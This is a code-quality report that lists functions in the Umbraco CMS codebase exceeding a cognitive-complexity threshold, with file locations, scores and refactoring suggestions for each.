create::ObjectExpression (cognitive 34) src/Umbraco.Web.UI.Client/devops/eslint/rules/enforce-manifest-alias.cjs:148— create::ObjectExpression has cognitive complexity 34 (threshold 15). To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
ContentTypeRepositoryBase.PersistNewBaseContentType (cognitive 33) src/Umbraco.Infrastructure/Persistence/Repositories/Implement/ContentTypeRepositoryBase.cs:202— ContentTypeRepositoryBase.PersistNewBaseContentType has cognitive complexity 33 (threshold 15). Of this number, 32 points are the body's own statements and 1 belongs to one function literal inside it that branches. To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
BackOfficeExamineSearcher.BuildQuery (cognitive 33) src/Umbraco.Examine.Lucene/BackOfficeExamineSearcher.cs:193— BackOfficeExamineSearcher.BuildQuery has cognitive complexity 33 (threshold 15). To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
UmbSearchModalElement.#onKeydown (cognitive 33) src/Umbraco.Web.UI.Client/src/packages/core/search/search-modal/search-modal.element.ts:247— UmbSearchModalElement.#onKeydown has cognitive complexity 33 (threshold 15). Drivers by points: if/else 12 (29 pts), boolean chains 3, match/switch 1 (nesting depth added 17). Of this number, 30 points are the body's own statements and 3 belong to 3 function literals inside it that branch. To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
UmbTreeItemChildrenManager.#loadChildren (cognitive 33) src/Umbraco.Web.UI.Client/src/packages/core/tree/tree-item/tree-item-children.manager.ts:219— UmbTreeItemChildrenManager.#loadChildren has cognitive complexity 33 (threshold 15). Drivers by points: ternaries 9 (17 pts), boolean chains 9, if/else 6 (7 pts) (nesting depth added 9). To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
ReferenceResolver.ResolveAssemblies (cognitive 32) src/Umbraco.Core/Composing/ReferenceResolver.cs:77— ReferenceResolver.ResolveAssemblies has cognitive complexity 32 (threshold 15). Of this number, 31 points are the body's own statements and 1 belongs to one function literal inside it that branches. To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
UserRepository.PerformGetReferencedDtos (cognitive 32) src/Umbraco.Infrastructure/Persistence/Repositories/Implement/UserRepository.cs:464— UserRepository.PerformGetReferencedDtos has cognitive complexity 32 (threshold 15). To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
AliasUrlProvider.GetOtherUrls (cognitive 31) src/Umbraco.Core/Routing/AliasUrlProvider.cs:82— AliasUrlProvider.GetOtherUrls has cognitive complexity 31 (threshold 15). To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
DocumentUrlService.GetDocumentKeyByRoute (cognitive 31) src/Umbraco.Core/Services/DocumentUrlService.cs:906— DocumentUrlService.GetDocumentKeyByRoute has cognitive complexity 31 (threshold 15). To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
PublishableContentRepositoryBase.MapDtosToContent (cognitive 31) src/Umbraco.Infrastructure/Persistence/Repositories/Implement/PublishableContentRepositoryBase.cs:238— PublishableContentRepositoryBase.MapDtosToContent has cognitive complexity 31 (threshold 15). To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
DatabaseDataCreator.CreateDataTypeData (cognitive 30) src/Umbraco.Infrastructure/Migrations/Install/DatabaseDataCreator.cs:2222— DatabaseDataCreator.CreateDataTypeData has cognitive complexity 30 (threshold 15). To reduce it, split the body: this score is breadth rather than depth — many checks laid out side by side rather than nested inside one another, so inverting conditions into early returns has nothing left to flatten. Group the statements between the checks into named steps and move each step into its own function, so the body reads as a short sequence of named stages.
ContentRepositoryBase.CheckDataIntegrity (cognitive 30) src/Umbraco.Infrastructure/Persistence/Repositories/Implement/ContentRepositoryBase.cs:709— ContentRepositoryBase.CheckDataIntegrity has cognitive complexity 30 (threshold 15). To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
CacheNodeFactory.GetContentData (cognitive 30) src/Umbraco.PublishedCache.HybridCache/Factories/CacheNodeFactory.cs:90— CacheNodeFactory.GetContentData has cognitive complexity 30 (threshold 15). To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
PublishedRouter.HandlePublishedContent (cognitive 29) src/Umbraco.Core/Routing/PublishedRouter.cs:529— PublishedRouter.HandlePublishedContent has cognitive complexity 29 (threshold 15). To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
ContentPublishingServiceBase.PublishAsync (cognitive 29) src/Umbraco.Core/Services/ContentPublishingServiceBase.cs:101— ContentPublishingServiceBase.PublishAsync has cognitive complexity 29 (threshold 15). To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
ContentValidationServiceBase.HandlePropertiesValidationAsync (cognitive 29) src/Umbraco.Core/Services/ContentValidationServiceBase.cs:42— ContentValidationServiceBase.HandlePropertiesValidationAsync has cognitive complexity 29 (threshold 15). Of this number, 24 points are the body's own statements and 5 belong to 5 function literals inside it that branch. To reduce it, break up the iteration: give each loop body a named function, and split a multi-phase loop into one function per phase so no single body carries the whole pipeline.
ContentValueSetValidator.Validate (cognitive 29) src/Umbraco.Infrastructure/Examine/ContentValueSetValidator.cs:178— ContentValueSetValidator.Validate has cognitive complexity 29 (threshold 15). To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
TextBuilder.WriteProperty (cognitive 29) src/Umbraco.Infrastructure/ModelsBuilder/Building/TextBuilder.cs:420— TextBuilder.WriteProperty has cognitive complexity 29 (threshold 15). To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
PackageDataInstallation.CreateContentTypeFolderStructure (cognitive 29) src/Umbraco.Infrastructure/Packaging/PackageDataInstallation.cs:1054— PackageDataInstallation.CreateContentTypeFolderStructure has cognitive complexity 29 (threshold 15). To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
EagerMatcherPolicy.ApplyAsync (cognitive 29) src/Umbraco.Web.Website/Routing/EagerMatcherPolicy.cs:76— EagerMatcherPolicy.ApplyAsync has cognitive complexity 29 (threshold 15). To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
load-manifest-api.function.loadManifestApi (cognitive 29) src/Umbraco.Web.UI.Client/src/libs/extension-api/functions/load-manifest-api.function.ts:17— load-manifest-api.function.loadManifestApi has cognitive complexity 29 (threshold 15). Drivers by points: if/else 10 (20 pts), boolean chains 9 (nesting depth added 10). To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
load-manifest-element.function.loadManifestElement (cognitive 29) src/Umbraco.Web.UI.Client/src/libs/extension-api/functions/load-manifest-element.function.ts:16— load-manifest-element.function.loadManifestElement has cognitive complexity 29 (threshold 15). Drivers by points: if/else 10 (20 pts), boolean chains 9 (nesting depth added 10). To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
ContentFinderByConfigured404.TryFindContent (cognitive 28) src/Umbraco.Infrastructure/Routing/ContentFinderByConfigured404.cs:102— ContentFinderByConfigured404.TryFindContent has cognitive complexity 28 (threshold 15). To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
PatchPathResolver.Resolve (cognitive 28) src/Umbraco.Cms.Api.Management/Patching/PatchPathResolver.cs:17— PatchPathResolver.Resolve has cognitive complexity 28 (threshold 15). To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
sorter.controller.getParentScrollElement (cognitive 28) src/Umbraco.Web.UI.Client/src/packages/core/sorter/sorter.controller.ts:14— sorter.controller.getParentScrollElement has cognitive complexity 28 (threshold 15). Drivers by points: if/else 8 (18 pts), boolean chains 9, loops 1 (nesting depth added 10). To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
PublishableContentServiceBase.PerformScheduledPublishingExpiration (cognitive 27) src/Umbraco.Core/Services/PublishableContentServiceBase.cs:1160— PublishableContentServiceBase.PerformScheduledPublishingExpiration has cognitive complexity 27 (threshold 15). To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
PocoToSqlExpressionVisitor.VisitMemberAccess (cognitive 27) src/Umbraco.Infrastructure/Persistence/Querying/PocoToSqlExpressionVisitor.cs:282— PocoToSqlExpressionVisitor.VisitMemberAccess has cognitive complexity 27 (threshold 15). To reduce it, flatten the nesting: invert conditions into early returns or guard clauses so the happy path stays at one level, and lift the deepest nested block into its own named function.
ServerMessengerBase.DeliverLocal (cognitive 27) src/Umbraco.Infrastructure/Sync/ServerMessengerBase.cs:223— ServerMessengerBase.DeliverLocal has cognitive complexity 27 (threshold 15). To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
LocalDb.CopyDatabaseFiles (cognitive 27) src/Umbraco.Cms.Persistence.SqlServer/LocalDb.cs:883— LocalDb.CopyDatabaseFiles has cognitive complexity 27 (threshold 15). To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
UmbBaseExtensionInitializer.#onConditionsChangedCallback (cognitive 27) src/Umbraco.Web.UI.Client/src/libs/extension-api/controller/base-extension-initializer.controller.ts:266— UmbBaseExtensionInitializer.#onConditionsChangedCallback has cognitive complexity 27 (threshold 15). Drivers by points: if/else 13 (24 pts), boolean chains 3 (nesting depth added 11). To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
ContentService.Copy (cognitive 26) src/Umbraco.Core/Services/ContentService.cs:1528— ContentService.Copy has cognitive complexity 26 (threshold 15). To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
ImportPackageBuilderExpression.Execute (cognitive 26) src/Umbraco.Infrastructure/Packaging/ImportPackageBuilderExpression.cs:80— ImportPackageBuilderExpression.Execute has cognitive complexity 26 (threshold 15). To reduce it, flatten the nesting: invert conditions into early returns or guard clauses so the happy path stays at one level, and lift the deepest nested block into its own named function.
PackageDataInstallation.TryCreateContentFromXml (cognitive 26) src/Umbraco.Infrastructure/Packaging/PackageDataInstallation.cs:516— PackageDataInstallation.TryCreateContentFromXml has cognitive complexity 26 (threshold 15). To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
UserRepository.PersistUpdatedItem (cognitive 26) src/Umbraco.Infrastructure/Persistence/Repositories/Implement/UserRepository.cs:835— UserRepository.PersistUpdatedItem has cognitive complexity 26 (threshold 15). To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
RedirectTracker.StoreOldRoute (cognitive 26) src/Umbraco.Infrastructure/Routing/RedirectTracker.cs:69— RedirectTracker.StoreOldRoute has cognitive complexity 26 (threshold 15). To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
BreadthFirstKeyProvider.GetSeedKeys (cognitive 26) src/Umbraco.PublishedCache.HybridCache/SeedKeyProviders/BreadthFirstKeyProvider.cs:16— BreadthFirstKeyProvider.GetSeedKeys has cognitive complexity 26 (threshold 15). To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
UmbPropertyEditorUIBlockGridElement.constructor (cognitive 26) src/Umbraco.Web.UI.Client/src/packages/block/block-grid/property-editors/block-grid-editor/property-editor-ui-block-grid.element.ts:121— UmbPropertyEditorUIBlockGridElement.constructor has cognitive complexity 26 (threshold 15). Drivers by points: if/else 13 (20 pts), boolean chains 6 (nesting depth added 7). Most of this is not in the body itself: 0 of the 26 points are its own statements and the rest belongs to 6 function literals inside it that branch (lines 198, 142, 146, …). The decisions are inside those literals, which nothing outside this body can call, review or test on its own, so splitting the enclosing body is not the move available here. To reduce it, lift the literals' work into a named function or method at the enclosing scope and have each literal call it, then reduce whichever part then reads as the largest.
UmbRepositoryDetailsManager.#requestDetailsBulk (cognitive 26) src/Umbraco.Web.UI.Client/src/packages/core/repository/repository-details.manager.ts:208— UmbRepositoryDetailsManager.#requestDetailsBulk has cognitive complexity 26 (threshold 15). Drivers by points: if/else 9 (18 pts), loops 4 (7 pts), boolean chains 1 (nesting depth added 12). Of this number, 20 points are the body's own statements and 6 belong to 2 function literals inside it that branch. To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
ComposerGraph.GatherRequirementsFromAfterAttribute (cognitive 25) src/Umbraco.Core/Composing/ComposerGraph.cs:309— ComposerGraph.GatherRequirementsFromAfterAttribute has cognitive complexity 25 (threshold 15). Of this number, 24 points are the body's own statements and 1 belongs to one function literal inside it that branches. To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
ContentVariationExtensions.ValidateVariation (cognitive 25) src/Umbraco.Core/Extensions/ContentVariationExtensions.cs:317— ContentVariationExtensions.ValidateVariation has cognitive complexity 25 (threshold 15). To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
ShadowFileSystem.Complete (cognitive 25) src/Umbraco.Core/IO/ShadowFileSystem.cs:390— ShadowFileSystem.Complete has cognitive complexity 25 (threshold 15). To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
SemVersion.CompareComponent (cognitive 25) src/Umbraco.Core/Semver/SemVersion.cs:395— SemVersion.CompareComponent has cognitive complexity 25 (threshold 15). To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
ContentService.PublishBranch (cognitive 25) src/Umbraco.Core/Services/ContentService.cs:932— ContentService.PublishBranch has cognitive complexity 25 (threshold 15). To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
CultureImpactFactory.TryCreate (cognitive 25) src/Umbraco.Core/Services/CultureImpactFactory.cs:106— CultureImpactFactory.TryCreate has cognitive complexity 25 (threshold 15). To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
LocalizedTextServiceFileSources.LocalizedTextServiceFileSources.ctor (cognitive 25) src/Umbraco.Core/Services/LocalizedTextServiceFileSources.cs:41— LocalizedTextServiceFileSources.LocalizedTextServiceFileSources.ctor has cognitive complexity 25 (threshold 15). Most of this is not in the body itself: 1 of the 25 points is its own statement and the rest belongs to one function literal inside it that branches (line 60). The decisions are inside the literal, which nothing outside this body can call, review or test on its own, so splitting the enclosing body is not the move available here. To reduce it, lift the literal's work into a named function or method at the enclosing scope and have the literal call it, then reduce whichever part then reads as the largest.
BaseValueSetBuilder.AddPropertyValue (cognitive 25) src/Umbraco.Infrastructure/Examine/BaseValueSetBuilder.cs:25— BaseValueSetBuilder.AddPropertyValue has cognitive complexity 25 (threshold 15). To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
DeleteKeysAndIndexesBuilder.Do (cognitive 25) src/Umbraco.Infrastructure/Migrations/Expressions/Delete/KeysAndIndexes/DeleteKeysAndIndexesBuilder.cs:58— DeleteKeysAndIndexesBuilder.Do has cognitive complexity 25 (threshold 15). Of this number, 20 points are the body's own statements and 5 belong to 3 function literals inside it that branch. To reduce it, flatten the nesting: invert conditions into early returns or guard clauses so the happy path stays at one level, and lift the deepest nested block into its own named function.
MultiUrlPickerValueEditor.ToEditor (cognitive 25) src/Umbraco.Infrastructure/PropertyEditors/MultiUrlPickerValueEditor.cs:217— MultiUrlPickerValueEditor.ToEditor has cognitive complexity 25 (threshold 15). To reduce it, flatten the nesting: invert conditions into early returns or guard clauses so the happy path stays at one level, and lift the deepest nested block into its own named function.
PackagingService.GetAllInstalledPackagesAsync (cognitive 25) src/Umbraco.Infrastructure/Services/Implement/PackagingService.cs:269— PackagingService.GetAllInstalledPackagesAsync has cognitive complexity 25 (threshold 15). To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
UmbElementPublishEntityBulkAction.execute (cognitive 25) src/Umbraco.Web.UI.Client/src/packages/elements/publishing/publish/entity-bulk-action/publish.bulk-action.ts:17— UmbElementPublishEntityBulkAction.execute has cognitive complexity 25 (threshold 15). Drivers by points: if/else 13 (19 pts), loops 2 (5 pts), boolean chains 1 (nesting depth added 9). To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
UmbElementUnpublishEntityBulkAction.execute (cognitive 25) src/Umbraco.Web.UI.Client/src/packages/elements/publishing/unpublish/entity-bulk-action/unpublish.bulk-action.ts:17— UmbElementUnpublishEntityBulkAction.execute has cognitive complexity 25 (threshold 15). Drivers by points: if/else 13 (19 pts), loops 2 (5 pts), boolean chains 1 (nesting depth added 9). To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
PropertyValidationService.IsPropertyValid (cognitive 24) src/Umbraco.Core/Services/PropertyValidationService.cs:228— PropertyValidationService.IsPropertyValid has cognitive complexity 24 (threshold 15). Of this number, 18 points are the body's own statements and 6 belong to 3 function literals inside it that branch. To reduce it, name the conditions: bind each compound test to a well-named local or a small predicate function, so the body reads as a sequence of named decisions rather than a chain of operators.
DefaultShortStringHelper.SplitPascalCasing (cognitive 24) src/Umbraco.Core/Strings/DefaultShortStringHelper.cs:656— DefaultShortStringHelper.SplitPascalCasing has cognitive complexity 24 (threshold 15). To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
EmailSender.SendAsyncInternal (cognitive 24) src/Umbraco.Infrastructure/Mail/EmailSender.cs:63— EmailSender.SendAsyncInternal has cognitive complexity 24 (threshold 15). To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
Builder.Prepare (cognitive 24) src/Umbraco.Infrastructure/ModelsBuilder/Building/Builder.cs:130— Builder.Prepare has cognitive complexity 24 (threshold 15). To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
PropertyFactory.BuildDto (cognitive 24) src/Umbraco.Infrastructure/Persistence/Factories/PropertyFactory.cs:208— PropertyFactory.BuildDto has cognitive complexity 24 (threshold 15). To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
ContentTypeCommonRepository.MapGroupsAndProperties (cognitive 24) src/Umbraco.Infrastructure/Persistence/Repositories/Implement/ContentTypeCommonRepository.cs:290— ContentTypeCommonRepository.MapGroupsAndProperties has cognitive complexity 24 (threshold 15). To reduce it, break up the iteration: give each loop body a named function, and split a multi-phase loop into one function per phase so no single body carries the whole pipeline.
ContentTypeIndexingNotificationHandler.Handle (cognitive 24) src/Umbraco.Infrastructure/Search/ContentTypeIndexingNotificationHandler.cs:103— ContentTypeIndexingNotificationHandler.Handle has cognitive complexity 24 (threshold 15). To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
DatabaseCacheRepository.GetPropertyInfoByContentType (cognitive 24) src/Umbraco.PublishedCache.HybridCache/Persistence/DatabaseCacheRepository.cs:1217— DatabaseCacheRepository.GetPropertyInfoByContentType has cognitive complexity 24 (threshold 15). To reduce it, break up the iteration: give each loop body a named function, and split a multi-phase loop into one function per phase so no single body carries the whole pipeline.
UmbPropertyEditorUIBlockListElement.constructor (cognitive 24) src/Umbraco.Web.UI.Client/src/packages/block/block-list/property-editors/block-list-editor/property-editor-ui-block-list.element.ts:182— UmbPropertyEditorUIBlockListElement.constructor has cognitive complexity 24 (threshold 15). Drivers by points: if/else 9 (14 pts), boolean chains 10 (nesting depth added 5). Most of this is not in the body itself: 0 of the 24 points are its own statements and the rest belongs to 9 function literals inside it that branch (lines 193, 197, 185, …). The decisions are inside those literals, which nothing outside this body can call, review or test on its own, so splitting the enclosing body is not the move available here. To reduce it, lift the literals' work into a named function or method at the enclosing scope and have each literal call it, then reduce whichever part then reads as the largest.
UmbContentDetailWorkspaceContextBase.#ensureVariantsExistsForProperty (cognitive 24) src/Umbraco.Web.UI.Client/src/packages/content/content/workspace/content-detail-workspace-base.ts:741— UmbContentDetailWorkspaceContextBase.#ensureVariantsExistsForProperty has cognitive complexity 24 (threshold 15). Drivers by points: if/else 6 (14 pts), loops 3 (7 pts), boolean chains 3 (nesting depth added 12). To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
ShadowFileSystem.MoveFile (cognitive 23) src/Umbraco.Core/IO/ShadowFileSystem.cs:208— ShadowFileSystem.MoveFile has cognitive complexity 23 (threshold 15). To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
DefaultRepositoryCachePolicy.GetAll (cognitive 23) src/Umbraco.Infrastructure/Cache/DefaultRepositoryCachePolicy.cs:207— DefaultRepositoryCachePolicy.GetAll has cognitive complexity 23 (threshold 15). To reduce it, flatten the nesting: invert conditions into early returns or guard clauses so the happy path stays at one level, and lift the deepest nested block into its own named function.
PackageDataInstallation.UpdateContentTypeFromXml (cognitive 23) src/Umbraco.Infrastructure/Packaging/PackageDataInstallation.cs:1233— PackageDataInstallation.UpdateContentTypeFromXml has cognitive complexity 23 (threshold 15). To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
PackageDataInstallation.CreateDataTypeFolderStructure (cognitive 23) src/Umbraco.Infrastructure/Packaging/PackageDataInstallation.cs:1756— PackageDataInstallation.CreateDataTypeFolderStructure has cognitive complexity 23 (threshold 15). To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
PackageDataInstallation.ImportStylesheets (cognitive 23) src/Umbraco.Infrastructure/Packaging/PackageDataInstallation.cs:2178— PackageDataInstallation.ImportStylesheets has cognitive complexity 23 (threshold 15). Of this number, 22 points are the body's own statements and 1 belongs to one function literal inside it that branches. To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
ModelToSqlExpressionVisitor.VisitMemberAccess (cognitive 23) src/Umbraco.Infrastructure/Persistence/Querying/ModelToSqlExpressionVisitor.cs:30— ModelToSqlExpressionVisitor.VisitMemberAccess has cognitive complexity 23 (threshold 15). To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
MemberRepository.PersistUpdatedItem (cognitive 23) src/Umbraco.Infrastructure/Persistence/Repositories/Implement/MemberRepository.cs:1021— MemberRepository.PersistUpdatedItem has cognitive complexity 23 (threshold 15). To reduce it, split the body: most of this score is breadth rather than depth — checks laid out side by side rather than stacked — so group the statements between the checks into named steps and move each step into its own function. Some of it IS depth: where a check sits inside another whose only job is to reach it, merge the two into one condition.
MultiUrlPickerValueConverter.ConvertIntermediateToObject (cognitive 23) src/Umbraco.Infrastructure/PropertyEditors/ValueConverters/MultiUrlPickerValueConverter.cs:127— MultiUrlPickerValueConverter.ConvertIntermediateToObject has cognitive complexity 23 (threshold 15). To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
BackOfficeExamineSearcher.Search (cognitive 23) src/Umbraco.Examine.Lucene/BackOfficeExamineSearcher.cs:52— BackOfficeExamineSearcher.Search has cognitive complexity 23 (threshold 15). To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
PatchPathParser.Parse (cognitive 23) src/Umbraco.Cms.Api.Management/Patching/PatchPathParser.cs:34— PatchPathParser.Parse has cognitive complexity 23 (threshold 15). To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
context-data.function.contextItemData (cognitive 23) src/Umbraco.Web.UI.Client/src/libs/context-api/debug/context-data.function.ts:21— context-data.function.contextItemData has cognitive complexity 23 (threshold 15). Drivers by points: if/else 7 (15 pts), match/switch 1 (4 pts), loops 1 (3 pts), boolean chains 1 (nesting depth added 13). To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
create-extension-element-with-api.function.createExtensionElementWithApi (cognitive 23) src/Umbraco.Web.UI.Client/src/libs/extension-api/functions/create-extension-element-with-api.function.ts:19— create-extension-element-with-api.function.createExtensionElementWithApi has cognitive complexity 23 (threshold 15). Drivers by points: if/else 15 (18 pts), boolean chains 5 (nesting depth added 3). To reduce it, split the body: most of this score is breadth rather than depth — checks laid out side by side rather than stacked — so group the statements between the checks into named steps and move each step into its own function. Some of it IS depth: where a check sits inside another whose only job is to reach it, merge the two into one condition, and where an else follows a branch that already returns, drop the trailing else and let the rest of the body continue at one level.
UmbBlockEntryContext.constructor (cognitive 23) src/Umbraco.Web.UI.Client/src/packages/block/block/context/block-entry.context.ts:360— UmbBlockEntryContext.constructor has cognitive complexity 23 (threshold 15). Drivers by points: if/else 14 (19 pts), boolean chains 4 (nesting depth added 5). Most of this is not in the body itself: 3 of the 23 points are its own statements and the rest belongs to 7 function literals inside it that branch (lines 449, 470, 381, …). The decisions are inside those literals, which nothing outside this body can call, review or test on its own, so splitting the enclosing body is not the move available here. To reduce it, lift the literals' work into a named function or method at the enclosing scope and have each literal call it, then reduce whichever part then reads as the largest.
UmbInputSliderElement.constructor (cognitive 23) src/Umbraco.Web.UI.Client/src/packages/core/components/input-slider/input-slider.element.ts:150— UmbInputSliderElement.constructor has cognitive complexity 23 (threshold 15). Drivers by points: if/else 9 (14 pts), boolean chains 9 (nesting depth added 5). Most of this is not in the body itself: 0 of the 23 points are its own statements and the rest belongs to 5 function literals inside it that branch (lines 164, 183, 216, …). The decisions are inside those literals, which nothing outside this body can call, review or test on its own, so splitting the enclosing body is not the move available here. To reduce it, lift the literals' work into a named function or method at the enclosing scope and have each literal call it, then reduce whichever part then reads as the largest.
collectDictionaryIcons (cognitive 23) src/Umbraco.Web.UI.Client/devops/icons/index.js:61— collectDictionaryIcons has cognitive complexity 23 (threshold 15). Most of this is not in the body itself: 1 of the 23 points is its own statement and the rest belongs to 6 function literals inside it that branch (lines 114, 75, 149, …). The decisions are inside those literals, which nothing outside this body can call, review or test on its own, so splitting the enclosing body is not the move available here. To reduce it, lift the literals' work into a named function or method at the enclosing scope and have each literal call it, then reduce whichever part then reads as the largest.
TypeFinder.GetClassesWithAttribute (cognitive 22) src/Umbraco.Core/Composing/TypeFinder.cs:261— TypeFinder.GetClassesWithAttribute has cognitive complexity 22 (threshold 15). Of this number, 19 points are the body's own statements and 3 belong to one function literal inside it that branches. To reduce it, flatten the nesting: invert conditions into early returns or guard clauses so the happy path stays at one level, and lift the deepest nested block into its own named function.
TypeFinder.GetClassesWithBaseType (cognitive 22) src/Umbraco.Core/Composing/TypeFinder.cs:350— TypeFinder.GetClassesWithBaseType has cognitive complexity 22 (threshold 15). Of this number, 18 points are the body's own statements and 4 belong to one function literal inside it that branches. To reduce it, flatten the nesting: invert conditions into early returns or guard clauses so the happy path stays at one level, and lift the deepest nested block into its own named function.
ContentRepositoryExtensions.AdjustDates (cognitive 22) src/Umbraco.Core/Models/ContentRepositoryExtensions.cs:81— ContentRepositoryExtensions.AdjustDates has cognitive complexity 22 (threshold 15). To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
PublishedPropertyType.InitializeLocked (cognitive 22) src/Umbraco.Core/Models/PublishedContent/PublishedPropertyType.cs:123— PublishedPropertyType.InitializeLocked has cognitive complexity 22 (threshold 15). To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
LockingMechanism.EnsureLocks (cognitive 22) src/Umbraco.Core/Scoping/LockingMechanism.cs:307— LockingMechanism.EnsureLocks has cognitive complexity 22 (threshold 15). To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
PasswordStore.GeneratePassword (cognitive 22) src/Umbraco.Core/Security/PasswordGenerator.cs:89— PasswordStore.GeneratePassword has cognitive complexity 22 (threshold 15). To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
UserGroupService.UpdateUserGroupsOnUsersInternalAsync (cognitive 22) src/Umbraco.Core/Services/UserGroupService.cs:249— UserGroupService.UpdateUserGroupsOnUsersInternalAsync has cognitive complexity 22 (threshold 15). To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
ContentRepositoryBase.SetEntityTags (cognitive 22) src/Umbraco.Infrastructure/Persistence/Repositories/Implement/ContentRepositoryBase.cs:321— ContentRepositoryBase.SetEntityTags has cognitive complexity 22 (threshold 15). To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
ContentModelBinder.BindModel (cognitive 22) src/Umbraco.Web.Common/ModelBinders/ContentModelBinder.cs:54— ContentModelBinder.BindModel has cognitive complexity 22 (threshold 15). To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
